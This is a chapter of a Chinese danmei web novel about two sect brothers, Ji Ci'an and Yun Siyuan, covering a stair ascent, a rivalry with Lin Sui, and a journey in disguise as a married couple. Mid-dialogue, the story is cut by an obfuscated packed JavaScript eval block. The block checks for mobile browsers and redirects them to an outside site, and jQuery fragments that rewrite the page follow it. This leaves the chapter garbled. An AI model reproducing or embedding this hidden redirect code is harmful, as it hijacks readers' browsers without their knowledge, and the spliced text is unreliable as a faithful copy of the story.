11.师兄×师弟

作品:《病弱反派又被主角觊觎[快穿]

    从日光灿灿叩到月光粼粼,季辞晏三阶一叩的身影融在那无尽的阶梯里,显得何其渺小。


    衣摆的边角处已经被磨开了丝线,膝盖处粘满了尘灰和泥土,他不觉自己狼狈,步步走得珍重。


    长久的重复动作使他意识有点迷乱,不知道身后几十阶的位置,跟着个尾巴,陪着他叩了全程。


    说真心话,云思远对于宗门上下并无什么感情,宗门上下对他也是如此,不过是摆在明面上的利益交换。


    但只要季辞晏在意,无需其他理由,已经足够了。


    说到底,修仙者也不过是多了根骨的肉体凡胎,被划了口子照样流血化脓,他坚持不吃丹药,又如何撑得住这长时间的过度疲劳。


    仅凭借那心中的信念,季辞晏用最后的意识踏上了最后一阶。


    他转身向下看去,意外的看到落后他些许的云思远,愣了一下,随后嘴角染上了一抹笑意。


    季辞晏心中一松,安心的晕了过去。


    他知道,他不会跌在地上。


    *


    “你不让我进去,总要告诉我小晏如何了?”


    临随抱着胳膊站在屋外,而云思远站在门口,靠在门上挡了个严严实实,抬眼:“无事,师兄只是过度劳累。“


    “……防着我作甚?”临随冷笑一声,“我是他师兄,我若想见他,小晏难道还会拦着我?”


    “那便等季师兄醒了再议。”云思远不为所动,意有所指:“你确实是他师兄。”


    也永远只能是师兄。


    “若我当初下手以绝后患,你如今可还能站在这里?”临随挂在脸上的笑容未变,眼底却杀意屡现。


    云思远不答。


    那时就算临随出手,他也不会死的,早在初来落杉宗之时,不管是为了保住性命日后为父母报仇,还是为了能够留在师兄身边,他便已经放好了自己不可动摇的筹码。


    余师娘早在年轻时便满怀仁义之心,四处奔走行侠仗义,向来不惧死亡只怕世事不公。


    她公开向天道立誓,绝不对任何不平事冷眼旁观,所以坊间如今还流传着余师娘所做的种种善事。


    而就是这样的一个人,在云思远这个年幼孤苦的孩子来这里的第一天夜晚,就明确说道:“你既然留了下来,我只给你两种选择。”


    “你这身根骨特殊,要么未来成事后我可以放你为父母报仇,但在那之后这一切便不再属于你。”


    “要么我现在就为你父母报仇,再抽了你的魂禁在我这葫芦内以灵气育,照样可以达成目的。”


    魂魄离体后育成,再强制回魂,人哪怕不死但也变成个白痴。


    “你如何选?”


    云思远那时不懂,只觉余师娘心底还是有片柔软的,为陌生之人报仇本就不是什么她必须要做的事情。


    她大可以强制抽魂,反正左右不过一个手无缚鸡之力的凡人,他人的死活、他人的仇恨又与她有什么关系?


    再说若是没有季辞晏,云思远本就死在无人问津的洞窟中了。


    小小的云思远分的很清,他只问了一句:“抽取根骨,可是为了师兄?”


    “……自然。”他记得那时余师娘神色复杂,竟叹了一口气。


    后来云思远便明白了余师娘为何叹气,她是为了她爱的孩子,甘愿做了恶人,违背了自己的誓言,注定天道不眷,不可能渡得过雷劫。


    她放弃了她飞升的可能,换季辞晏平平安安,未来修仙路一片坦途。


    如今,也将直面她的死亡。


    *


    “……临师兄来过了?”季辞晏脸色还是有点苍白,被云思远扶起来坐着。


    云思远点头,舀了一勺白粥放在嘴边轻轻吹着:“师兄那时还未醒,我便没有让临随进来,可是做错了?”


    顺着,季辞晏被云思远喂了一勺粥,他正想说话,又被喂了一勺。


    季辞晏:“……”


    只要让我说不出来话就是没做错是吧!


    见小猫瞪了他一眼,云思远也不逗了,拿软帕给季辞晏擦了擦额角的汗。


    “你自己想。”季辞晏轻哼,似乎是觉得云思远喂粥太慢,还耍小心机,把粥碗夺过来自己捧着喝。


    坏了,生气了,都不让他喂粥了。


    云思远看了眼自己空空的手,心里遗憾,嘴上叹气道:“是思远的错,我这就去把临随唤来,然后去禁闭地思过。”


    季辞晏总觉得主角是不是去深修茶艺了,他甚至觉得自己的粥都有种茶香,喝起来……这粥确实还挺香的。


    ——他又喝了几口。


    “这粥是你熬的?”季辞晏打断了云思远对临随的魔法攻击。


    “是,师兄可喜欢?”云思远惯会变脸,此刻又眯起眼睛笑着,诚恳的问道。


    季辞晏把空了的碗放云思远手里,“你若是去思过,我如何还能喝上这白粥?”


    “要不我去问问临随?”


    季辞晏的脸瞬间变成菜色,想到了小时候某些因临随下厨而不好的回忆。


    “临师兄……事务繁杂,还是不麻烦他了。”


    “师兄,思远不怕麻烦。”云思远把粥碗放到端盘里,用手背贴上季辞晏的脸颊,似乎是在试试还烫不烫,沉声道:“就怕师兄不愿麻烦我。”


    若被麻烦的资格都没有了,也就说明师兄不再需要他了。


    季辞晏眨眨眼,“那我还想喝一碗。”


    云思远也不提什么禁闭了,像是把自己的话抛在脑后,只道:“我现在去做。”


    系统默默观察着,它自升级后就开始重点观察主角的行为,为自己的情感系统添砖添瓦。


    他想,以前不论是买新鲜玩意还是糕点美食,都是临随去买给小晏的,甚至有时候还是他们心照不宣的秘密。


    可现在,主角一步步渗透进来,这一应事务都和临随沾不上边了。


    高,实在是高!


    它在自己的小笔记上狂写,暗暗预谋了一个优化掉主角的梦想,想了想这个世界的主角不好对付,决定下个世界换了新主角就能实施。


    *


    “停下马车,马车内是什么人?”


    云思远勒住马翻身下了车,将一块碎银子塞到了门口守卫的手心,小声说:“里面是在下的妻子,他体弱受不得寒,轻易不能吹风,隔着窗帘看下倒


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13726614|144906||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    无妨。”


    守卫收了银子不多纠缠,只站在那马车外从窗帘的缝隙中往里望,顿时呆了些。


    马车内那人眼眸微垂,这天本不是寒天却披着件雪白的狐裘,正攥着衣襟掩面轻咳,一身湖蓝色的淡雅长裙,衬得他的皮肤更加白皙,如那即将凋零的花,有种春意将尽的悲凉。


    “……”


    “还没看够?”云思远见状眸色微暗,上手将窗帘掩紧实。


    意识到自己语气不对,云思远又道:“……大人看清楚了吧,家妻不能再吹风。”


    守卫不言,仍是那副呆样。


    “咳……夫君,莫要对大人无礼。”


    季辞晏主动开了口,又将守卫的心思唤了回来,“大人,我家这位也是担心我的身体,见谅。”


    “……无事,无事。”


    守卫立刻站直身体,重复两句又后退一步,冲着马车内行了一礼,“唐突佳人,实在抱歉。”


    他没把视线放在云思远身上,只是板起了脸,大声喊道:“前面的,放行!”


    马车晃悠悠的往里行,守卫望着逐渐远去的马车,想起自己天天驻守城门听到的八卦,叹道:“想来是去找西面的那位神医,可我听说,那神医诊断夫妻,都是诊男不诊女啊!”


    马车内,季辞晏正隔着门帘轻声笑道:“思远,你演技实在是差,不过是让人看一眼……”


    云思远自有说法:“身为夫人的夫君,吃醋也是常情,若再深了想……”情难自抑更是常情。


    季辞晏不说话了。


    他总觉得主角还在之前演练的仇,说不定什么时候就要用奇怪的方式报复回来,他选择当他没听懂。


    没关系,没听懂就是零伤害。


    他们此行特意打听了个靠西面的驿站,只是这驿站距城门比较远,云思远给季辞晏放了个软垫靠着,又下车买了些吃食,才又启程。


    到驿站时已经是黑夜,掌柜的见季辞晏三步一咳实在体弱,留了间二层尽头的安静上房给他二人住。


    推开门便传来了热烈的花香,也不知道掌柜的误会了什么,季辞晏掀开撒了花瓣的床褥,下面竟放了许多大枣和核桃,颗颗饱满,应是新买来的。


    他想起那“枣生贵子”的习俗,只觉得这东西放在褥下会硌后背,让云思远都清理了,放在桌子上。


    从前也没少在一张床上睡,季辞晏没觉得有什么不妥,他把外衣递给云思远,卸了钗环就躺了上去,习惯性的躺在内侧。


    他搭着脑袋,莫名觉得有点昏昏沉沉,里衣缓缓散开,迷迷糊糊道:“明儿早些叫我,去逛逛集市……”


    云思远正把季辞晏的衣服挂在架子上,在这里避免暴露他没用灵力,而是拿了掸子细致的掸了掸灰尘。


    房间内渐渐静了下来,他走向床边,伸出手搭上了季辞晏的脉搏,凝重的脸色在夜色下忽明忽暗。


    季辞晏体内魔气的存储已经到了极限,只是由于长久的闭关暂时压制了下去,之后爆发的频率会越来越高,怕是要疼到夜夜难眠。


    云思远拿出个方盒,正是余师娘当初交给他的。


    “如今使用,正是时候。”